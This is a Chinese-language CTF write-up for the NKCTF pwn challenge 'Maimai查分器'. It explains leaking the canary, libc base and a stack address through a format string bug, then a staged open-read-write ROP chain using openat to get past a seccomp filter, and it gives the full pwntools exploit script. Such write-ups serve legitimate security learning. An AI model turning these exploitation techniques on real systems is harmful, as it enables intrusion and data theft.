【NKCTF】wp:Maimai查分器
学习与收获
当栈溢出的字节数不能满足我们构造完整的rop链时,除了栈迁移我们还可以先构造一个read的rop链,让程序再read一次,然后再写入rop链覆盖我们调用read时自己写的返回地址,以控制执行流执行rop链。
有的程序开了沙箱会过滤一些函数,除了system其他函数如open也可能被过滤,可以使用命令seccomp-tools dump ./pwn查看。
openat函数也是一个类似于open的打开文件的函数,openat函数有4个参数。openat函数的第一个参数如果是0,其第二个参数必须为文件的绝对路径;第二个参数如果是文件的相对路径,其第一个参数需为相对路径前的路径。
知道了libc基地址,我们需要任何没见过的函数都可以到libc中寻找,如果利用ROPgadget --binary pwn | grep "gadget"没找到gadget,我们也可以去libc中寻找。利用ROPgadget --binary libc.so.6 | grep "gadget"命令,我们找的是偏移gadget_offset,gadget的地址gadget_addr = gadget_offset+libc_base。
在泄漏libc基地址的时候,一般都是随便printf出一个libc中的任意地址,然后在ida中计算偏移。但是如果本地的偏移与远程不同,且我们不容易把本地换成远程的libc,我们可以printf出准确函数函数的libc地址,然后用elf.sym['read']这种表示出偏移。
保护

思路

泄漏地址
有一个格式化字符串漏洞只能输入8字节,和一个栈溢出漏洞。保护全开,我们先泄漏一个canary。
payload = b'%7$p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') canary = int(p.recv(18),16) log_addr("canary")
|
泄漏libc
payload = b'%3$p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') libc_base = int(p.recv(14),16)-libc.sym['read']-18 log_addr("libc_base")
|
泄漏一个栈地址
payload = b'%p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') stack = int(p.recv(14),16) log_addr("stack")
|
本题拿到shell后没有权限去cat flag,但是我们可以用open-read-write把flag读出并打印出来,又因为过滤了open,所以我们要用一个与open函数类似的openat函数打开文件。
布置rop链
因为是64位程序,所以传参需要寄存器,我们在程序里找不到gadget,但是我们可以到libc中找gadget的偏移,再加上libc基地址即可。
rdi = 0x000000000002a3e5+libc_base rsi = 0x000000000002be51+libc_base rdx_r12 = 0x000000000011f2e7+libc_base rcx = 0x3d1ee+libc_base
|
程序中我们能溢出80个字节,但是orw_rop链的长度远远超过了0x80个字节,因此我们可以先read一次,read到哪儿呢?read到装返回地址的这个地址里,覆盖我们的返回地址,这样才能继续控制执行流执行接下来的orw_rop链。这个返回地址,是我们在r_rop链中自己布置的,调用完read函数后的返回地址。
payload = b'a'*(0x30-8)+p64(canary)+b'a'*8 payload+=p64(rdi)+p64(0)+p64(rsi)+p64(stack+0x38-8) payload+=p64(rdx_r12)+p64(0x1000)+p64(0) payload+=p64(libc.sym['read']+libc_base) payload+=p64(0xdeadbeef) p.send(payload)
|
然后布置orw_rop链,由于文件描述符0,1,2已被占用,这里我们openat打开的新文件的文件描述符为3,所以read读取flag的第一个寄存器的值应该是3。
payload = b'/flag\x00\x00\x00'+p64(rdi)+p64(0) payload+=p64(rsi)+p64(stack+0x38-8)+p64(rdx_r12)+p64(0)+p64(0)+p64(rcx)+p64(0) payload+=p64(libc.sym['openat']+libc_base) payload+=p64(rdi)+p64(3)+p64(rsi)+p64(stack-0x100)
payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['read']+libc_base) payload+=p64(rdi)+p64(1)+p64(rsi)+p64(stack-0x100) payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['write']+libc_base)+p64(0)
|
exp
from tools import *
context.arch='amd64' p = remote("node.nkctf.yuzhian.com.cn",33656) elf = ELF('./pwn')
libc=ELF("/home/wen/Desktop/libc.so.6")
al = p.recvuntil(b'Select a option:') p.sendline(str(1)) pause() for i in range(10): payload = str(15.0).encode()+b'a' p.sendline(payload) sleep(0.2) for i in range(40): payload = str(15.0).encode()+b'SSS+' p.sendline(payload) sleep(0.2) p.sendline(str(2)) payload = b'%3$p' debug(p,'pie',0x1a36,0x19ce) p.sendline(payload) p.recvuntil(b'Input your nickname.\n') libc_base = int(p.recv(14),16)-libc.sym['read']-18 log_addr("libc_base") pause() p.sendline(b'aa') pause() p.sendline(str(2)) payload = b'%p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') stack = int(p.recv(14),16) log_addr("stack") pause() p.sendline(b'aa') pause() p.sendline(str(2)) payload = b'%7$p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') canary = int(p.recv(18),16) log_addr("canary") pause() p.sendline(b'aa') pause()
p.sendline(str(2)) payload = b'bbbb' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') rdi = 0x000000000002a3e5+libc_base rsi = 0x000000000002be51+libc_base rdx_r12 = 0x000000000011f2e7+libc_base rcx = 0x3d1ee+libc_base
payload = b'a'*(0x30-8) payload+=p64(canary) payload+=b'a'*8 payload+=p64(rdi)+p64(0) payload+=p64(rsi)+p64(stack+0x38-8) payload+=p64(rdx_r12)+p64(0x100000)+p64(0) payload+=p64(libc.sym['read']+libc_base) payload+=p64(0xdeadbeef) p.send(payload) pause() payload = b'/flag\x00\x00\x00'+p64(rdi)+p64(0) payload+=p64(rsi)+p64(stack+0x38-8)+p64(rdx_r12)+p64(0)+p64(0)+p64(rcx)+p64(0) payload+=p64(libc.sym['openat']+libc_base) payload+=p64(rdi)+p64(3)+p64(rsi)+p64(stack-0x100) payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['read']+libc_base) payload+=p64(rdi)+p64(1)+p64(rsi)+p64(stack-0x100) payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['write']+libc_base)+p64(0) p.sendline(payload)
p.interactive()
|
拿到flag
